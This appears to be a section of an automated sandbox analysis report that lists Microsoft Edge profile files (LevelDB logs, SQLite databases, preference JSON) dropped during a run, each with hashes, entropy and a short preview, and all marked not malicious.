C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.271328076119858
Encrypted:	false
SSDEEP:	12:k7v4YebvqBZFUt8bqK11/+bVj5LYebvqBaJ:y4Yebvyg8uN1LYebvL
MD5:	96E3FECFAD47D769BB4EA175DFE2B4A9
SHA1:	6B59807F7F1CC78495150BEDD7EE6795BA206C8C
SHA-256:	C93F8A0296825576151BAC5921E1CBDE33D5C131783CBC91AA22FDF2CF3C3043
SHA-512:	CEB32979A4905B4D31A02A23F179A369689DC8D53BEC5A9EABF99BA2AEEEDB5052740D3AB27E817152FE406B881C5949D5CB6DF34E3B5345BB42F8065800DF60
Malicious:	false
Preview:	2024/11/17-06:35:41.906 17a8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/17-06:35:41.907 17a8 Recovering log #3.2024/11/17-06:35:41.909 17a8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.202184103404534
Encrypted:	false
SSDEEP:	6:HURb15DM+q2P923oH+TcwtpIFUt8YURb12jgZmw+YURb1BtDMVkwO923oH+Tcwt7:kU+v4YebmFUt8bH/+buV5LYebaUJ
MD5:	3946E5BCAEA48DBD070F1F66A5816584
SHA1:	D2AFF5E4B9989BD8746D5D05E17CC97279E3D840
SHA-256:	A0ADEAA122C642CEE7B26F24A5A59B15E78C4835DF8A86FDE9E6D2CF15350F06
SHA-512:	E9159A998D64E8FEF9FA0E51FBB1611A7417116072A524935D2049B0610078F7761B95066504D59C215AC9818C11B4F3504B796687393E8616CB2EEE57A9B56F
Malicious:	false
Preview:	2024/11/17-06:35:24.313 1c1c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/17-06:35:24.455 1c1c Recovering log #3.2024/11/17-06:35:24.526 1c1c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.202184103404534
Encrypted:	false
SSDEEP:	6:HURb15DM+q2P923oH+TcwtpIFUt8YURb12jgZmw+YURb1BtDMVkwO923oH+Tcwt7:kU+v4YebmFUt8bH/+buV5LYebaUJ
MD5:	3946E5BCAEA48DBD070F1F66A5816584
SHA1:	D2AFF5E4B9989BD8746D5D05E17CC97279E3D840
SHA-256:	A0ADEAA122C642CEE7B26F24A5A59B15E78C4835DF8A86FDE9E6D2CF15350F06
SHA-512:	E9159A998D64E8FEF9FA0E51FBB1611A7417116072A524935D2049B0610078F7761B95066504D59C215AC9818C11B4F3504B796687393E8616CB2EEE57A9B56F
Malicious:	false
Preview:	2024/11/17-06:35:24.313 1c1c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/17-06:35:24.455 1c1c Recovering log #3.2024/11/17-06:35:24.526 1c1c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2650854300038865
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMvSAELyKOMq+8yC8F/YfU5m+OlTLVum5:Bq+n0Jv9ELyKOMq+8y9/Owi
MD5:	49849F973B8BE24A8B3EB1091FBCD99C
SHA1:	F166D76368AAAF159A73AC861EDDD590A216B865
SHA-256:	30A3977C42D40164DF97582787EB10342D00C280592B34A9469B7E470B5E8349
SHA-512:	ACDA99581A1DF7E3F04505887C9C2DC2ADD40A6F8B722297BCF6BCB21BAF0DB419BA2C1C40E9E6472C030CF8E6207CB8D0268028A23839976EFAD323D1085142
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46711876736147434
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0dFU:v7doKsKuKZKlZNmu46yjx0dO
MD5:	4592F8044837EE89DF25C2472A0B9C57
SHA1:	384E843FD9388E54F1C06AA53CA3FBA38ACC3B65
SHA-256:	763834462496D17398EF06F87375FFF072782E5334852858172E54417BE2ADCB
SHA-512:	7BBAF09E5A66232F800F9302954ECFEFC7AAF3299906C4C2E0B61BCDD91CA0757068147F04FF80761973FC1DB4E5D97163F4A6B9A4D4D65EA95C890D0A56D4CB
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\a1ca97b6-4c55-49ab-9661-be46555a26b1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b3d17deb-9d12-4fbd-bae8-25ea0038bae4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17439), with no line terminators
Category:	dropped
Size (bytes):	17440
Entropy (8bit):	5.486486407453099
Encrypted:	false
SSDEEP:	384:st+PGQSu4JsAnfhwGkl14kn8bGIQw46WylaTYv:s4OXu+nf/kabGXLQaTYv
MD5:	E35526E62E95E68BD0F274DA9216D010
SHA1:	0B026B49705D466F4FC3E14F8EB2FC5C33BBEB39
SHA-256:	D98DC523785D1385483C45A19BA11F4B642F78E9BC5D9E0A2533DBDE3B511143
SHA-512:	3C18BA9821267E3C561B442CF84E0DEA4DFF18C22AFB2B70C61432093A08694CA1E3CBF8F79C23C90FBB4B0146CD2B58A41E01D7330E1D4D5DCC733B55453DB2
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376316924902331","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c03b69c7-b3bd-4bf3-8308-7b639eca4e75.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17439), with no line terminators
Category:	dropped
Size (bytes):	17440
Entropy (8bit):	5.486662091023369
Encrypted:	false
SSDEEP:	384:st+PGQSu4JsAnfhwGkl14kn8bGIQw46WzlaTYv:s4OXu+nf/kabGXLVaTYv
MD5:	0349F877AE6B6B7BA7477487CB6C1043
SHA1:	4AC4B41468D18FF0F9F9F88952975C346CBF4187
SHA-256:	A560B08F3FE7A65C787C356819827B652483EC1C757A083FB4A9AFB287A67BB3
SHA-512:	ECCFC33478A42FD2BED2A83F51F0C2E890A1A019BD299464E2CB7A46AF3D43762D8B9E56D3193BB05DB1C4C4CB4EF92BB6ADBAD658C1DBC9653A79D8DDAB35C4
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376316924902331","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10282362495574167
Encrypted:	false
SSDEEP:	12:+XwbXwcspEjVl/PnnnnnnnnnnnvoQ/Eou:+XsXWoPnnnnnnnnnnnv1j
MD5:	1B67A59F48D0BF233F97CA6C6CDD4EEA
SHA1:	B47F83DB95DFA5147D676FF0039566778815A514
SHA-256:	11C27DBAC156B34EEFFAFA7D0224CDA7A81545415D380C3716197F41F4A55F44
SHA-512:	BCC9C989BA32478DC6D52A2B0B9F606F586D10E86951682E1F23B07F7488A652B6D60E3511B66E5CFC8299240A8EAEFA8370EFF86A0B1FBAAEAC63203042C393
Malicious:	false
Preview:	..-.............M........c.7.x1..4..}..r~....)...-.............M........c.7.x1..4..}..r~....).........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8923197867024684
Encrypted:	false
SSDEEP:	384:G2Oa51z4x2qrbvxVXfNptkFRsZazGGKJEP7j1t96Ev8syYyulyGyIZBytxylj:Z6L9xN4G27ADY
MD5:	A0BCBA01A8FB77D9494A52928D172C7B
SHA1:	0EDB7E33A88CB65E4F82FEB9FF37A0F0A139BDE6
SHA-256:	8A0423175BC27CFBD7CC9CCAE49723F309FB35AF0A3A2B81EDC602925B12CDF0
SHA-512:	5709734D1EFB87B44F89C118C68E05DD4FB95DA0B407E5343261F13A179DADA3ED21066CDF75D5C3295C153DCCEA9A936C2B070CCCA5B91B01ADB5C30EC29488
Malicious:	false
Preview:	7....-...........4..}...8.?L.0.........4..}........C.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	628
Entropy (8bit):	3.237897535859996
Encrypted:	false
SSDEEP:	6:/XntM+iTl3sedhOKOuuuuuuuuuuuuuuuuuuuuuuuZsedhONUn:Wlc8NOuuuuuuuuuuuuuuuuuuuuuuuS8P
MD5:	B3875117E0E81EEF7FA7878185D82C87
SHA1:	35647A5E4B29445F8BF86202BF0C32BC9B86EF6E
SHA-256:	3AEDDC28434C1BFB45C9621934DCE70D3C59FCCDE67ABE11AF53D09BFACCEBFE
SHA-512:	1953ABB7CC0CECEF3D0B3BC3746C29B25A28F45FDE4E49720682D70FD192F38B26BDF7562105415CC3B00FAFB05A853E92840B8CCE8E9292382862B1F162AED5
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..}0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=................87.0................39_config..........6.....n ...1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.2075670058588654
Encrypted:	false
SSDEEP:	6:HURbiYvIq2P923oH+TcwtfrK+IFUt8YURbiYvZZmw+YURbiLkwO923oH+TcwtfrF:k+YvIv4Yeb23FUt8b+YvZ/+b+L5LYeb5
MD5:	8A8C81B107BB2B331AD0AF1A2338816F
SHA1:	8B1DC4C98E5FFAD789ED3488C9419E40E8BE3F3C
SHA-256:	85D9EDB16C33489BED24C6598B30FAA037CA8DB469B8E463A1C2B6229940D7FE
SHA-512:	F3020D04C9EE2E321D3BEE5D63C1DC40EA0D95370579D3B9906A65D8FC873C4307F319D552905EB87D3E48C2779477D613ACEFE7E31DC31AEA578F3D86B5640B
Malicious:	false
Preview:	2024/11/17-06:35:25.035 1cc0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/17-06:35:25.035 1cc0 Recovering log #3.2024/11/17-06:35:25.036 1cc0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.2075670058588654
Encrypted:	false
SSDEEP:	6:HURbiYvIq2P923oH+TcwtfrK+IFUt8YURbiYvZZmw+YURbiLkwO923oH+TcwtfrF:k+YvIv4Yeb23FUt8b+YvZ/+b+L5LYeb5
MD5:	8A8C81B107BB2B331AD0AF1A2338816F
SHA1:	8B1DC4C98E5FFAD789ED3488C9419E40E8BE3F3C
SHA-256:	85D9EDB16C33489BED24C6598B30FAA037CA8DB469B8E463A1C2B6229940D7FE
SHA-512:	F3020D04C9EE2E321D3BEE5D63C1DC40EA0D95370579D3B9906A65D8FC873C4307F319D552905EB87D3E48C2779477D613ACEFE7E31DC31AEA578F3D86B5640B
Malicious:	false
Preview:	2024/11/17-06:35:25.035 1cc0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/17-06:35:25.035 1cc0 Recovering log #3.2024/11/17-06:35:25.036 1cc0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.059252238767438
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvB1ys:G0nYUtypD3RUovhC+lvBOL+t3IvB8s
MD5:	D8D8899761F621B63AD5ED6DF46D22FE
SHA1:	23E6A39058AB3C1DEADC0AF2E0FFD0D84BB7F1BE
SHA-256:	A5E0A78EE981FB767509F26021E1FA3C506F4E86860946CAC1DC4107EB3B3813
SHA-512:	4F89F556138C0CF24D3D890717EB82067C5269063C84229E93F203A22028782902FA48FB0154F53E06339F2FDBE35A985CE728235EA429D8D157090D25F15A4E
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.215418723425813
Encrypted:	false
SSDEEP:	6:HURb18fGIq2P923oH+TcwtfrzAdIFUt8YURbiMZmw+YURbifkwO923oH+Tcwtfrm:k2v4Yeb9FUt8b+M/+b+f5LYeb2J
MD5:	7DDE84E5D5BEB2D6015EAE82EAC33642
SHA1:	89D2D6A37CD318E0ED029B8E757624D7C62F692D
SHA-256:	D1CED7DC4511B501ED3ADAA2B3ECBD6289DB6014F5FC7F39A09A1E2912DF45AC
SHA-512:	BFF7C4C0A2673D303F9D04C7B31575C167AB9693194B9BC5CACC87E444FE260D8E67F5A6EC32BA6E0A4363A6412531DB66CCF6CE25BDB38921F6DE55D87EF9DD
Malicious:	false
Preview:	2024/11/17-06:35:24.980 1cc0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/17-06:35:25.013 1cc0 Recovering log #3.2024/11/17-06:35:25.014 1cc0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.215418723425813
Encrypted:	false
SSDEEP:	6:HURb18fGIq2P923oH+TcwtfrzAdIFUt8YURbiMZmw+YURbifkwO923oH+Tcwtfrm:k2v4Yeb9FUt8b+M/+b+f5LYeb2J
MD5:	7DDE84E5D5BEB2D6015EAE82EAC33642
SHA1:	89D2D6A37CD318E0ED029B8E757624D7C62F692D
SHA-256:	D1CED7DC4511B501ED3ADAA2B3ECBD6289DB6014F5FC7F39A09A1E2912DF45AC
SHA-512:	BFF7C4C0A2673D303F9D04C7B31575C167AB9693194B9BC5CACC87E444FE260D8E67F5A6EC32BA6E0A4363A6412531DB66CCF6CE25BDB38921F6DE55D87EF9DD
Malicious:	false
Preview:	2024/11/17-06:35:24.980 1cc0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/17-06:35:25.013 1cc0 Recovering log #3.2024/11/17-06:35:25.014 1cc0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090744933485689
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM1wuF9hDO6vP6O+3tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEh6+tbz8hu3VlXr4CRo1
MD5:	222EA5EBF62C29C6C0B4803FB7AE004D
SHA1:	8CF8D04261D6A5FE509551D5CABC82DEEDF1D5B8
SHA-256:	F99ED33AD9EB162816FD58DDDABE6C091FF1065CFA24C23A6E270DC51977B2C5
SHA-512:	13B73658C6E348E2E32A0A82B4C8DB6C15AD232B31EC7FA3CD52681D5036AAB4F92885C5871A77684BA0CC9973CEBA4FDA5BF6049F7E12C338E27E7C521CDA6A
Malicious:	false
